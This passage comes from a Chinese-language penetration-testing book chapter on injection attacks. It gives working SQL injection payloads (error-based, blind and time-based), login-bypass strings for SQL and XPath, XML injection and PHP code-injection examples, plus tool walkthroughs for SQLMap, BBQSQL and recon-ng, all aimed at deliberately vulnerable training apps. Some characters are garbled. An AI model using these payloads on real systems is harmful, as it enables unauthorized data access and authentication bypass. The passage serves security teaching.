Websploit 在攻击链的其他领域是一个强大的工具,并且在 AutoPwn、DoS 和其 WiFi-focused 攻击等混合攻击模块方面表现良好。对于 XSS,我发现 Metasploit 在管理有效负载和提供 shell 选项方面更具多样性。除了 Meterpreter 之外,还有十多种其他 shell 选项,具体取决于您的目标可以逃脱多少,以及所需的隐蔽性和功能性的混合。
总结
自从动态内容的爆炸性增长将 JavaScript 带入 Web 开发的前沿以来,XSS 攻击一直是安全专业人员和数百万受害者的一大难题。再加上建立信任的过时手段(基于实体而没有对输入进行验证),这使得 XSS 成为了 OWASP 十大漏洞之一已经超过 10 年。很明显,应该采取一些措施来引起更多关注,而增加渗透测试的使用可以做出改变。
XSS 的工具有很多,虽然我们在这里包括了一些更容易获取的 Kali 工具,但在准备撰写本章时,我意识到工具集经历了一些起伏;一些工具随着时间的推移已经不再受欢迎,而另一些似乎仍在继续使用。其中一些可能归因于企业赞助 - Rapid7 是维护和赞助 Metasploit 的关键参与者,而 XSSer 和 Websploit 都曾得到间歇性的支持。我鼓励尽可能深入研究这些工具和其他工具,以便更好地了解哪些工具应该放在您的工具箱中。至少应该有两种工具用于每个角色,具有不同的优势和重叠的功能,以帮助更好地覆盖边缘情况。
在本章中,我们涵盖了 XSS 的类型,它们对我们的危害或帮助的潜力(黑客术语表示能够随意妥协站点或目标),以及一些很好的方法来利用它们来获得对客户及其与服务器的关系的可见性。正如我们所看到的,XSS 可以为真正的黑帽攻击者提供一个邪恶的立足点,使他们能够操纵系统资源并监视他们的受害者。在 XSS 专注于利用客户端-服务器信任关系来妥协客户端的同时,我们的下一章将讨论客户端攻击以及我们如何利用同样的信任关系来控制或迫使服务器本身。这些攻击被广泛称为注入攻击,并涵盖了 Web 应用程序安全领域的一些热门话题,如 HTML、SQL、XML,甚至常常被忽视的 LDAP。在下一章的结尾,您将拥有一套攻击的坚实基础,以帮助发现大多数应用程序及其客户端中的关键数据泄漏和主机控制漏洞。我很高兴您能一直关注到这一步,让我们看看我们还能造成或预防更多的损害!
第七章:注入和溢出测试
在当今这个时代,所有网站都会对用户提供动态响应,这些响应受到一些外部数据库的影响或从 HTML 本身外部的过程推断出来。在客户端,这通常被隔离并限制在浏览器的 DOM 空间中,但在服务器上,这些交织在一起的过程的种类和范围变得异常难以管理。典型企业的所有防御都被调整为允许应用程序绑定流量进入 Web 层,反过来,Web 层被信任访问应用程序和数据库层,黑客已经学会了将 Web 层变成他们的替身。Web 层无意中成为内部威胁,随之而来的是所有特权访问和信任关系。
注入是一种强大且常见的客户端-服务器连接的妥协形式,既可以用来暴露意外信息,也可以影响应用程序本身的性能。XSS 攻击侧重于注入脚本以诱使客户端执行攻击者的命令,而其他注入类型则直接针对后端数据。当我们测试或攻击 Web 应用程序时,妥协用户主机是有用的,但一系列服务器端注入可以诱使 Web 应用程序直接执行黑客的命令。这些注入攻击在应用中各不相同,但利用了 Web 应用程序验证用户输入和掩盖错误处理的弱点。攻击者的动机有很多,但除了窃取应用程序背后的数据或知识产权之外,还有更具破坏性的结果——破坏或损坏数据,破坏应用程序的可用性,破坏其在用户和公司中的信任地位。
注入最令人担忧的一点是它们很容易实施,而且很多网站都容易受到攻击。快速查看 Google Hacking DB(GHDB)或 Shodan.io 可以很容易地暴露出数百万缺乏保护的服务器。
我们当然应该对这些开源情报(OSINT)库进行粗略查看,因为黑帽骇客肯定在使用它们。使用 Burp Suite、Zed Access Proxy(ZAP)、Arachni 和其他工具进行重点扫描可以帮助我们发现特定目标中更广泛的潜在问题,以及一些与门户网站本身的智能互动。结构化查询语言(SQL)、可扩展标记语言(XML)路径语言(XPath)、轻量级目录访问协议(LDAP)、命令/可执行文件和超文本传输协议(HTTP)注入是最常见的威胁,但在影响和位置上有所不同。
在这一章中,我们将学习并实施注入和输入操纵攻击的主要类别,并学习如何使用几种工具来识别漏洞并利用它们的弱点。
本章将帮助我们:
-
发现并针对各种注入形式(盲目、经典、复合)进行测试,包括针对 SQL、Oracle 和 LDAP 等各种数据库
-
了解执行代码注入以导致堆栈、缓冲区和堆溢出的需要
-
学会进行 HTTP 动词篡改和参数污染
-
学会如何从 recon-ng、BBQSQL、SQLMap、SQLninja 等工具列表中选择并使用正确的工具
在测试中注入一些乐趣
注入攻击很多,但因为它们都插入代码,而且知道这些代码将被传输到应用程序或数据库层进行执行,所以它们的影响使得注入在 OWASP 十大中排名第一。我们将在这里介绍一些主要的攻击方式,但要知道扫描和测试方法非常相似,我们将利用自动化来探测每个门户的弱点迹象,并传递基于最佳实践的字符串来测试潜在的缺陷。在我们深入了解注入的各种类型之前,了解 OWASP 是如何对它们进行分类的会有所帮助。以下截图来自他们最新的发布候选版的OWASP 2017 十大列表(github.com/OWASP/Top10/blob/master/2017/OWASP%20Top%2010%20-%202017%20RC1-English.pdf
):
OWASP 的注入攻击特征。
OWASP 对这些攻击的关注点很多,但黑客的使用便利性和潜在影响使它们成为应用程序开发人员的严重关注点。Web 技术在很大程度上依赖于动态内容,这使得黑客将其视为注入的目标。以下表格可以帮助我们了解每种攻击的基本范围、相对难度以及它们通常被发现的弱点:
注入类型 | 检测难度 | 利用难度 | 潜在影响 | 最终目标/受影响组件 |
---|---|---|---|---|
SQL 注入 | 困难 - 盲注易 - 经典 | 中等 | 非常严重 | 数据库枚举 SQL 支持的框架 Oracle 应用程序 |
XML(XPath)注入 | 中等 | 简单 | 严重 | XML 存储的数据枚举、破坏、销毁 |
LDAP 注入 | 非常简单 | 简单 | 中等(各不相同) | 凭证,通常用于升级或生成新账户 |
命令注入 | 困难 | 中等 | 非常严重 | 应用程序层插入命令以运行恶意代码,用于破坏或横向移动 |
缓冲区溢出 | 中等 | 中等 | 非常严重 | 应用程序层重新指向指令以执行恶意代码,用于破坏或横向移动 |
HTTP 注入 | 简单 | 非常简单 | 低 | Web 或应用程序层强制在 Web 服务器或应用程序内执行功能 |
SQL 有用吗?
就注入而言,SQL 注入(SQLI)是最受欢迎的。尽管 SQL 数据库技术之间存在差异,但大多数都遵循美国国家标准学会(ANSI)定义的共同基础语法、词汇和组织,这使得学习和适应新技术变得简单高效。它是关系数据库中的工作马,负责从相邻的应用程序或接口存储、操作和查询数据库。有很多免费资源值得深入了解 SQL,万维网联盟的网站(www.w3schools.com/sql/
)是一个很好的起点,我们不会深入讨论底层语言。
统计数据显示,超过 98%的 Web 应用程序都由包含用户所需信息的数据库支持。其中,SQL 变体是最受欢迎的。这些相同的特点使得黑客很容易使用常见的查询和技巧来检测和利用这些数据库。
不过,不要被这些统计数据和潜在影响所迷惑:SQLI 攻击每年都在激增,尽管它们受到了关注,而且可以采取基本预防措施来消除或大大减少对应用程序的潜在影响。正如我们将在这里看到的,揭示和利用 SQL 注入漏洞是一个相对容易的任务。
数据库崩溃课程
关系数据库提供了一个类似表格的框架,用于存储数据。 SQL 是我们读取和写入这些表的语法,网站可以允许他们的用户通过构建查询并随后呈现结果来呈现有用的数据。会出什么问题呢?
嗯,许多数据库是由没有特定数据库技术背景的系统管理员或工程师实例化的。很可能你的技术恐惧症亲戚甚至在自己的个人电脑上安装了数据库作为应用程序的基础组件。同样有可能的是,将数据库嵌入到更大的应用程序中的人并没有深入研究数据库的详细硬化。简单的事情,比如默认管理员帐户、端口等在嵌入到父应用程序之前并不总是被清理干净。这些问题在没有专注于数据库的人员的组织中的 Web 应用程序数据库中也会出现。
Web 应用程序在征求用户查询和将其传递到数据库的方式上有所不同。许多使用PHP 超文本预处理器(PHP)进行动态内容的网站通过统一请求定位器(URL)字符串传递查询,因此非常容易修改以符合我们自己的目的,同时避免有意义的验证。其他网站通过限制用户通过预先制作的下拉列表、单选按钮和复选框构建搜索来强制执行和清理底层 SQL 查询。这些限制性的查询构建方法更难以利用,并且在可能的情况下建议用于安全的应用程序开发。
以下屏幕截图显示了这种情况发生的高层视图。
SQL 注入攻击的解剖
SQLI 的类型
考虑到 SQL 的多样性和实现它的方式有很多种,很有道理会有一些不同的实现 SQLI 的方式。与 XSS 一样,我们可以从几个方面来看待这个问题,但 SQLI 可能会有很大的变化,因此可以用不同的方式来描述。与 XSS 不同,我们可以通过观察一些提示或特征来区分 SQLI:
-
SQLI 的交付方式(通过表单、下拉列表、cookie 操作、URL 修改等)
-
我们首先提交的输入类型(字符串与值)
-
我们如何接收数据(也称为数据提取通道)
-
响应的构建方式(返回错误或隐藏任何故障)
-
影响应用程序或数据库产生结果所需的查询数量
我们不会详尽地涵盖所有这些类别,但我们将讨论常用的类型以及它们如何适用于上述类别。此外,我将使用我们信赖的 OWASP 破损 Web 应用程序(BWA)虚拟机(VM)来展示一些示例,并且我们将看到我们如何依次处理每个类别,包括实际的注入技术以及可以自动化使用的工具。
In-band 或经典 SQLI
In-band SQLI是 SQLI 的最简单和最常见的模式,通常称为经典 SQLI类型。 In-band 更好地描述了攻击的进行方式。 In-band SQLI 涉及通过相同的通道发起攻击(恶意 SQL 查询)和接收响应(该查询的结果)。黑客可以以几种方式使用这些攻击。
- 基于错误的 SQLI:黑客可以使用意图使响应出错的字符串来探测应用程序,这些响应可以揭示网站的结构和策略,但有助于绘制和枚举应用程序正在使用的数据库。下面的 Mutillidae 示例显示了一个语句,当注入请求时,将引发详细错误,实际上可以告诉我们底层的信息:
username=''' AND (SELECT 6803 FROM(SELECT COUNT(*),CONCAT(0x71627a6271,(SELECT (ELT(6803=6803,1))),0x716a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sFFK&password=''&login-php-submit-button=Login
- 基于联合的 SQLI:在更精确的方法中,黑客(我们)可能已经勘察了数据库,现在将试图将单独的语句(使用union语句)合并为一个请求,以从应用程序中引出意想不到的结果。通过这样做,他们可以利用一个探测性查询和应用程序期望的内容结合起来,在返回结果时实际上泄露信息!
盲注入
盲注入就像是数据库版本的童年游戏热或冷。如果你从未玩过,藏玩具的孩子通过说热来提供给搜索者提示,随着搜索者的接近程度,热度的程度也会有所不同,当他们离隐藏的目标越来越远时则说冷。盲注入也是如此:当数据库不直接告诉你,应用程序开发人员又隐藏错误细节时,有时你可以通过推断答案并提出正确的真或假问题来获取所有信息。当然,通过经典的 SQLI 模式之一直接获取数据会更容易,但是通过查询作为真/假探测,黑客可以系统地枚举数据库,甚至不需要返回任何数据。也就是说,盲注入有两种主要类型。
- 基于内容的盲注入:在这种类型的 SQLI 中,黑客试图使用查询来推断数据库中的数据类型、条目或结构的存在,通过观察应用程序是否返回错误,或者基于真或假条件返回不同的错误。下面是 Mutillidae 应用程序中的一个 MySQL 示例:
username=-1419' OR 7078=7078#&password=''&login-php-submit-button=Login
- 基于时间的盲注入:盲注入的另一种形式帮助克服了 Web 层的任何错误筛选,通过操纵查询中的基于时间的命令。当我们将基于时间的命令与布尔(也称为条件)查询结合在一起,并观察到在指定时间后出现错误时,这就成为我们的真/假试金石测试。SQL 有一些等待和休眠语句,有时会被接受;当与数据库可能不想直接返回答案的查询结合时,延迟可能就是我们需要枚举内容的所有答案。以下是一个示例:
username=''' AND 9120=BENCHMARK(25000000,MD5(0x6b4e4344))-- yHeA&password=''&login-php-submit-button=Login
无论你如何处理盲注入,它都是相当费力的,不是你在现实世界中想要手动完成的事情;使用真/假测试在表中找到每个字母并逐个浏览整个字母表是高性能计算的工作,而不是人类的工作。因此,建议您只在没有其他选择时尝试盲注入。诸如 SQLMap 和 SQLninja 之类的工具可以帮助自动化这一过程,但正如我们将很快看到的,盲注入扫描可能是一个漫长而冗长的过程。
堆叠或复合 SQLI
一旦你了解了经典和盲注入的方法,就不难理解如何制作复合语句,并将多个请求堆叠在一起,不仅可以映射我们的目标数据库,还可以操纵、破坏或销毁存储的数据,并最终在数据库上运行代码。例如,你可以将基于联合的 SQLI 的数据提取与紧随其后的命令配对,从源表中删除数据。Netsparker(www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
)和PenTestMonkey(pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
)都提供了一份很好地介绍了堆叠 SQLI 可以在多种数据库类型上用于正面(或负面)的作用的备忘单。在这里造成伤害的潜力是巨大的,因此最好使用标准的 Kali 提供的工具(或其他动态应用安全测试或DAST套件)进行扫描和测试,而不是自己设计漏洞利用。
SQLI 工具学校
现在我们知道如何判断每种 SQLI 注入类型对目标的影响以及它如何帮助黑客,我们需要一些方法来实际检测和利用这些漏洞。正如我们所看到的,注入攻击有各种各样的实施和影响,正如您所期望的那样,有大量工具可以满足渗透测试人员和黑客的需求。然而,我的目标是为您提供一套可以在各个方面提供覆盖并为您节省时间的工具基础,同时在需要时学习和专门化。在本节中,我们将看到如何使用 SQLMap、BBQSQL、SQLNinja 和一些老式的浏览器魔术来识别和利用 SQLI 漏洞。
通过浏览器进行老式 SQLI
开玩笑的时候到此为止,有经验的黑客会编写脚本来爬取应用程序的所有潜在页面,然后访问每个页面进行调试,以了解是否可能进行 SQLI。扫描工具很有趣,但没有什么比仅使用浏览器来获取访问权限、提升权限或渲染敏感数据更能向客户展示攻击的严重性。举个例子,如果我们想试图诱使页面透露其查询语法,我们可能会强制出现错误,如下截图所示,数据库试图告诉我们如何纠正它:
强制 SQL 错误
当我们点击**登录
**按钮时,我们有帮助的数据库泄露了秘密,我们意识到我们要攻击的查询到底是什么,如下截图所示:
SQL 错误真是太有帮助了!
仔细看,我们要处理的查询只是在一个名为accounts
的表中寻找一个名为username
的字段:
SELECT username FROM accounts WHERE username='''
通过查看这个简单的查询,并应用从 SQLI 作弊表或实际学术知识中获得的一些 SQL 知识,显然这个查询成功地使我们脱离了查询,下一步我们应该尝试欺骗一个有效的用户名,并尝试跳过密码。我们可以通过输入一个新的字符串来实现这一点,其中' or 1=1 --
将使用逻辑操作来确保用户名存在,双破折号和尾随空格告诉 SQL 跳过接下来的字段;在这种情况下,它方便地跳过了我们讨厌的密码字段。当我们将该字符串输入到用户名字段时,新的查询看起来是这样的:
SELECT username FROM accounts WHERE username='' or 1=1 -- '
这点 SQL 知识为我们赢得了一次相当关键的胜利:我们现在以管理员身份登录,如下截图所示:
SQLI 如此令人畏惧的原因。
我想我们都可以同意这相当方便——有意漏洞的 Mutillidae 应用程序很容易攻破。管理员被还原,因为大多数未经加固的数据库都是如此,管理员用户是用户数据库中的第一个条目。然而,现实世界中的 SQLI 可能就是这么简单,只要黑客具有深入的 SQL 知识并愿意尝试和解释 Web 应用程序返回的错误。在这方面非常有帮助的工具是 Firebug Firefox 浏览器插件(addons.mozilla.org/en-US/firefox/addon/firebug/
),它可以帮助您揭示密码字段,并在通常被隐藏的字段中注入 SQL 查询。如果您有很多其他任务要处理,无法忍受亲自操作的时间,还有一些有用的工具可以迭代这些查询并为我们解释响应。
使用 SQLMap 加强
让我们看看我们已经熟悉的工具 Burp Suite 如何被用于向 Kali 最古老的工具之一 SQLI,SQLMap,以帮助检查各种 SQLI。警告一下-虽然 Burp 的速度和多功能性都很快,但 SQLMap 需要很长时间来完成其许多测试。本章的测试运行在一个性能强大的虚拟机上花了超过 10 个小时(4 核,8GB 的 RAM),但是等待是值得的。让我们看看这个过程是如何工作的。
首先,我们需要拂去灰尘,启动 Burp Suite,将其设置为我们的代理,并允许其拦截我们的请求。做到这一点后,我们可以浏览到我们一直在攻击的相同登录页面,输入一些访客凭据,并在我们的**Proxy
选项卡和Intercept
**子选项卡中捕获请求(如下图所示)。请注意,这在最后一行捕捉到了我们的虚假凭据,以及 SQLMap 可能需要执行其工作的其他重要格式和语法细节:
捕获我们的请求。
方便的是,Burp Suite 允许我们直接将其保存到文件供 SQLMap 使用(如下图所示):
保存我们的请求供 SQLMap 使用。
使用您喜欢的编辑器(在我的情况下是nano),您可以将凭据字段更改为两个单引号,如下图所示:
编辑请求后再传递给 SQLMap。
现在,您可以执行SQLMap
并将您的响应文件传递给它,以及设置您感兴趣的任何其他选项,使用SQLMap
命令:
SQLMap -r mutillidae_SQLMap.req --threads=10 �b �-time-sec 10
现在我们应该看到SQLMap
正在进行测试,如下图所示,测试各种漏洞并从 SQL 角度为我们勾画我们的目标。
SQLMap 测试进行中。
我们需要回答一些问题,但在这些练习场景中,通常可以对所有问题回答是。经过长时间而紧张的扫描后,SQLMap
将以潜在易受应用程序影响的注入摘要回应,并对数据库和 Web 应用程序本身进行表征,如下图所示:
SQLMap 的输出显示了 SQLI 类型和服务器信息。
注意
您可能会认出我之前提供的注入点,我将它们作为本章前面一些类型的示例。这些可以直接通过 Burp 或 ZAP 插入到请求中,并立即验证。
使用 BBQSQL 制作一些菜单驱动的 SQLI
SQLMap 是一个用于详尽发现的好工具,但有时您渴望一种菜单驱动的方法来实际利用特定的东西,特别是在盲 SQLI 周围。如果您不是 SQL 专家,但知道您需要从某个主机定制一个特定的利用程序,您可以使用BBQSQL(github.com/Neohapsis/bbqsql
)来定制一个盲 SQLI 利用程序,这是由 Neohapsis(现在是思科的一部分)开发的工具。如果您是社会工程工具包(SET)的忠实粉丝,并且想要快速利用盲 SQLI,那么 BBQSQL 就是为您量身定制的!让我们快速看一下如何配置它并将其用于您自己的目的。
要启动 BBQSQL,我们不需要捕获请求进行有效分析,但复制一个测试请求以帮助构建攻击是有帮助的。我们可以通过 GUI 快捷方式启动它,或者在 CLI 中使用bbqsql
启动。起始页面(如下图所示)对 SET 用户来说非常熟悉,这有助于我们更轻松地开始:
BBQSQL 启动菜单(用蓝色标出)。
逐个浏览每个菜单(见下图),大多数基本参数都在 HTTP 选项中。这是我们可以输入 URL、任何输入字段以及自定义代理和任何代理信息的地方。
BBQSQL HTTP 菜单。
BBQSQL 特定参数是 BBQSQL 引擎的核心。以下是重要或最基本的选项:
-
技术:定义这是一个真/假测试(
binary_search
)还是基于频率/时间的测试,计算出现次数(frequency_search
)。 -
比较属性:这是我们告诉 BBQSQL 要寻找的内容,并且它将用于区分真假的内容。大小、文本字符串、值和许多其他类型的比较都是可用的。
-
并发性:BBQSQL 的速度是其支持的并发性的直接结果,这使其能够以比其他方法更快的速度发现数据库内容。
-
Hooks 文件:您可以使用 hooks 来装饰您的攻击,这是其他工具中没有的一项改变游戏规则的 Python 定义功能,因为它们允许进行各种可能需要在发送注入请求过程中发生的操作,比如加密、循环、编码或掩码。
-
查询:虽然其他 SQLI 工具针对特定数据库平台进行处理,但 BBQSQL 选择伪代码,允许您创建可跨 SQL 类型工作的利用程序,甚至是 Oracle。这些查询可以在 URL、cookies 或数据本身中使用(请参见以下屏幕截图)。
BBQSQL 选项菜单。
我强烈建议不仅针对 Mutillidae 应用程序进行练习,还要针对 OWASP BWA VM 上提供的其他应用程序进行练习,比如Damn Vulnerable Web Application(DVWA),或者从www.vulnhub.com
上新发布的应用程序。
另一个值得关注的工具是SQLninja(sqlninja.sourceforge.net/index.html
),它适用于基于 Microsoft SQL 的项目,是一个基于 Perl 的工具,可在 Kali Linux 中使用。 SQLninja 在利用和注入基于检测结果的其他工具的特定数据库子集方面做得非常出色。由于其范围较窄,我们在这里没有涵盖该工具,但对于那些目标数据库是基于 Microsoft 的情况,它可能非常有价值!
SQLI 与 Oracle 高端化
如果 SQL 注入是最常见且易于实施的,那么 Oracle 注入就是它们富有和独特的表亲。Oracle 数据库需要付费许可和对其更常见和广泛的 SQL 表亲的高级知识。这使它们更适用于更昂贵的 Web 应用解决方案,因此它们在更大的企业或愿意为更大的内在可扩展性和企业级支持付费的企业中最常遇到。
可以说 Oracle 注入攻击是值得了解或在您的工具箱中拥有的。为什么呢?扫描结果返回识别 Oracle 作为底层 DB 框架的结果,实际上也在宣传其内容的更高价值。建立和维护它们的费用通常是合理的,考虑到它们所持有的价值:Oracle 数据库被信任保存一些非常敏感和有价值的信息。因此,虽然我们更常见地看到 SQL 注入,但学习 Oracle 的方法并确保我们在机会出现时做好准备只需要很少的努力。请放心,我们的黑帽对手也在寻找这些进入应用程序的路径,所以我们最好先于他们找到!
注意
BBQSQL、SQLMap 和其他工具都提供了 Oracle 模块或扩展,以确保它们也受到覆盖。在 Oracle 中也可以使用在黑客 MySQL、PostgreSQL 和其他数据库中使用的大部分 ANSI 指令集,因此尽管结构上的差异值得注意,但这些工具应该能够提供帮助。
X 因子 - XML 和 XPath 注入
一些应用程序开发人员正在摒弃 SQL,转而使用基于 XML 编写的新的、开放标准的数据结构。为什么会有人选择这样做呢?使用 SQL 构建的关系数据库无疑是利用了非常稳定、成熟的技术,但有时具有多个关系索引的数据在呈现和存储为 XML 时更加紧凑。这需要在数据库层面的性能方面进行权衡。关系数据库区分不同的变量类型,这意味着它们可以根据字符串、整数、布尔值或其他类型进行优化处理。XML 将所有内容都视为文本字符串,因此应用层需要对存储的数据进行检查,并使用更复杂的逻辑和处理开销进行操作。没有 100%正确的答案-这些因素将被权衡,以确定每个应用程序所需的混合方式。
在与数据交互时,可以使用 XML 本身,也可以使用XML Path Language(XPath)来向存储的数据传递类似 SQL 的命令、请求和操作。XML 实际上并不是一种数据存储技术,而更多地是一种传输/交付标准。如果我们正在针对的 Web 应用程序将大部分时间用于使用 SQL 来提取或操作数据,然后必须将其转换并创建 XML 表示,那么只使用 XML 可能会大有帮助。好消息是我们也有很多可用于 XML 的工具。Burp Suite 和 OWASP ZAP 将检测一些 XML 注入漏洞,就像 SQLI 一样,浏览器或 XML 查看器可以在这方面提供很大的帮助。
XML 注入
XML 注入通常是将数据插入到 XML 元素中,无论是在其节点属性,节点值还是CDATA字段中。在下面的片段中,我们看到了一个简单的条目,用于我可能正在购物的东西,但希望能以更便宜的价格得到(这是一个模拟的场景,我总是以公平的价格购买饮料):
<catalog>
<item id="607">
<brand>Russian River</brand>
<beer>Pliney the Elder, 12 oz.</beer>
<price>8.99</price>
</item>
</catalog>
现在,如果我对支付不感兴奋,或者希望免费获得它,我可以通过 XML 传递有效负载,稍微改变游戏规则。这是我可能插入到服务器的 XML 文件中的有效负载:
3.99</price></item><item id="608"><brand> Russian River</brand><beer>Pliney the Younger, 16 oz.</beer><price>3.99
这给我带来了如下的代码:
<catalog>
<item id="607">
<brand>Russian River</brand>
<beer>Pliney the Elder, 12 oz.</beer>
<price>3.99</price>
</item>
<item id="608">
<brand> Russian River</brand>
<beer>Pliney the Younger, 16 oz.</beer>
<price>3.99</price>
</item>
</catalog>
注意
实际上,通过普通的 XML 获得对生产服务器的这种访问几乎是不可能的。这也意味着 Kali 托管的工具中没有多少 XML 注入,但是这奠定了理解后端服务器使用 XPath 操纵 XML 的更真实可能性的基础。
XPath 注入
XPath是 XML 人员嫉妒 SQL 并发明自己的查询语言时发生的事情。好消息(对于黑客来说)是 XPath 具有全有或全无的含义,如果你获得了一些访问权限,你就能获得全部!抱歉,XML 人,当你试图让一个标准做太多事情时,就会发生这种情况。与 SQL 不同,XPath 缺乏细粒度的访问控制,因此没有特权层级可供导航,如果你可以枚举一个字符,你就知道你能够捕获所有字符。希望我们的目标开发人员能理解这些权衡,并通过其他方式进行保护,以防止访问或验证所有交易。
XPath 注入一旦掌握了 SQLI 的基础,就变得非常简单。我们正在寻找暴露逻辑或更好地说,给予我们完全访问权限的转义字符。首先,让我们进入Broken Web App(BWAPP)的**XML/XPath Injection (Login Form)
**漏洞页面,并打开我们的门户,我将在下面的截图中展示如何找到它。这个虚拟机包含在我们一直在使用的 OWASP BWA 中。你可能已经注意到了,但显而易见的是,OWASP BWA 虚拟机是除了 Kali 本身之外最重要的培训工具,而且是免费的!
查找 Broken Web App XPath 注入页面
如果我们再次使用我们的单引号字符,观察任何错误,我们可以测试潜在的 XPath 注入的输入验证不足(如下截图所示):
指示可能存在 XPath 注入的错误
与我们在 SQL 中看到的' or 1=1 -â��
字符串不同,我们将在**Login
和Password
**字段中使用 XPath 变体的' or '1'='1
,告诉 XPath 查询*请查找这个转义字符,因为 1 等于 1,所以我们是合法的!*我们希望进行验证以清理这些输入,但令人费解的是,有多少服务器将使用这个字符串返回登录成功,如下截图所示:
使用 XPath 注入登录
使用浏览器理解这个过程很棒,但是当您让工具帮助时,您还可以做更多。Recon-ng是一个出色的 CLI 工具,提供了类似于 Metasploit 或 Websploit 的菜单结构,与xpath_bruter
模块(由 Tim Tomes 精心管理)一起,帮助自动传递Blind XPath 注入有效负载以列举主机。我们还将与 Burp Suite 合作,以便我们可以收集我们需要的输入。因此,启用代理,准备好支配 BWAPP!让我们首先看看recon-ng
从我们这里需要什么,如下截图所示:
Recon-ng 的 XPath_Bruter 模块
假设我们是 OSINT 忍者,也许我们进行了一些社会工程学,发现 Thor 是一个用户,他的密码相当天真,是 Asgard。我们可以使用这一组凭据来设置我们的盲目 XPath 注入。从前面的show options
命令的输出中,您可以看到我们需要一些东西来开始。以下截图突出显示了我们大部分需要的字段。
我们的 Burp Suite 捕获以供 Recon-NG 使用
首先,我们将获取BASE_URL(红色)。然后您需要参数字段,这是我们将要暴力破解以列举数据的 URL 字符串的一部分(绿色)。我们将使用登录参数在 true 和 false 之间切换。假设您现在能拦截所有请求,您应该看到该门户网站使用 HTTP GET 消息提交查询(如蓝色所示),这意味着查询嵌入在发送到服务器的 URL 中。最后,这个特定的门户网站使用 cookies,所以我们可以粘贴整个字符串(紫色)。
Recon-ng 的XPath-Bruter
模块将要知道所有这些,它还将要知道我们如何区分真假(string
变量)。因此,如果我输入我知道是真实凭据(我们的真实条件),我会收到 Thor 的秘密消息,所以我可以使用单词Earth
作为我的字符串。如果我使用已知的假条件进行布尔and
条件(在撰写本书时,1 肯定不等于 2),那个字符串将不会出现。
所以让我们输入这些变量,将 Burp 和我们的代理配置排除在外,执行我们的暴力攻击!我们将在几分钟内看到的是下面截图中列举的:包含所有用户帐户的heroes.xml
文件的整个内容:
从 recon-ng 的 xpath_bruter 模块列举的 XML
您会发现其他注入工具非常遵循类似的方法。检测技术集中在试错过程中寻找可以帮助暴露缺陷的字符串,而利用(在道德黑客中)通常专注于枚举。黑客可能使用其中一些工具来实际损坏、操纵或破坏数据,但他们通常使用自定义的 Python 或 Ruby 脚本来执行这些恶意攻击,或者利用暗网上提供的框架。用于更高级基于 CLI 的注入测试的更好的工具之一是 Wapiti(wapiti.sourceforge.net/
),因为它可以帮助进行 SQL 和 XPath 注入,并支持大量的命令行开关、选项和用例。
凭证 Jedi 心灵技巧
数据库管理员、分析专家和数据科学家因帮助构建、管理和提供各种数据库类型的数据而获得高额报酬,这是理所当然的。但即使一个应用程序不使用这项技术,或者一个企业不直接投资这些数据库类型,我敢打赌他们都安装了一个数据库,这个数据库对他们的内部运作来说可能更重要–凭证数据库。每当客户使用Microsoft Active Directory(AD)、轻量级目录访问协议(LDAP)的许多变种,或者另一个身份管理系统(IMS)时,都存在一个潜在的数据库等待测试。
凭证数据库黑客可能有不同的目标。最直接的目标是寻找合法用户的帐户,以允许黑客冒充用户并访问敏感信息。其他人将寻找可能尚未被禁用或隐藏的默认帐户,然后可以毫无顾忌地使用这些帐户进行特权访问、管理功能,甚至创建新的影子帐户,这些帐户可以用作后门,并保护最初被损害的帐户以供以后尝试。与 SQL 和 XPath 一样,LDAP 查询有自己的语法;与其他注入类型一样,未能对数据进行消毒的易受攻击的查询可能受到转义字符的影响,这些字符可以强制登录或快速提升权限。幸运的是,LDAP 在使用上更加具体,因此它比其他类型的注入更容易进行手动测试。另一方面,没有广泛使用的工具专门用于 LDAP 注入扫描或利用。Burp Suite 可以提供一些检测和一般的注入帮助,但更多信息请参考 OWASP 关于 LDAP 注入的指导:www.owasp.org/index.php/Testing_for_LDAP_Injection_(OTG-INPVAL-006)
。
超越说服 - 注入以执行
好吧,我们不再玩得很好了。也许攻击者已经决定一个网站对他们没有价值,但他们仍然想要否认其功能对合法用户的使用。也许他们正在寻找这个应用程序,并希望将其关闭并使应用程序所有者无助。或者更糟糕的是,也许他们只是使用这个网站来到达另一个网站,通过损害应用程序,他们希望影响或横向移动到另一个网站。无论动机是什么,一类注入攻击超越了说服应用程序吐露其秘密;它们反而试图说服服务器运行新代码或执行应用程序开发人员根本没有意图使用或允许的命令。
我们需要在坏人之前找到这些攻击。数据泄漏无疑是一个巨大的问题,但服务器的完全崩溃或长期受到威胁会威胁应用程序的存在以及依赖它的公司。
代码注入
代码注入用于实施所谓的缓冲区溢出攻击。这些攻击不是通过弹出消息来展示漏洞的存在,而是专注于利用应用程序安全验证中的这些漏洞来执行允许攻击者接管目标或使用受损服务器作为进入环境的枢纽的任意代码。简而言之,如果一个网站在 PHP 或 ASP 上运行,并通过 URL 查询传递信息,您可以通过简单地识别特征字符串来寻找代码注入漏洞,从而显示页面重定向被接受,从而找到漏洞所在。
/bWAPP/phpi.php?message=test
虽然这是一个相当温和的测试路径(我们不打算造成伤害),但我们可以通过改变消息并捕获结果来利用这个漏洞为我们的客户。如果可以通过一个简单的消息来改变 Web 服务器的行为,黑客将尝试使用标准的 PHP 函数在服务器上运行真正恶意的东西,以试图颠覆或接管 Web 服务器本身。
我修改了消息以展示谁掌控着,使用以下字符串,结果显示在以下截图中:
http://172.16.30.129/bWAPP/phpi.php?message=MikeRules
成功的代码注入
溢出的乐趣
有几种代码注入形式会导致缓冲区溢出,每一种都专注于攻击底层 Web 或应用程序层服务器中的不同服务,或者是应用程序本身。开发人员通常不会注意到这些知名的溢出攻击,因为他们在管理大量库的复用,可能并不了解存在漏洞。尽管存在这些潜在问题,我们对这些问题了解更多,因此我们必须鼓励客户在修补和配置管理方面保持高度警惕。然而,他们自己的自定义代码和所选择的编程语言缺乏这种程度的审查,因此如果没有我们帮助测试他们的应用程序,他们将容易受到相同类型的攻击,但通过独特的向量。
我们将在 Web 渗透测试领域讨论的常见类别包括堆栈、堆、格式字符串、Unicode 和整数类型。
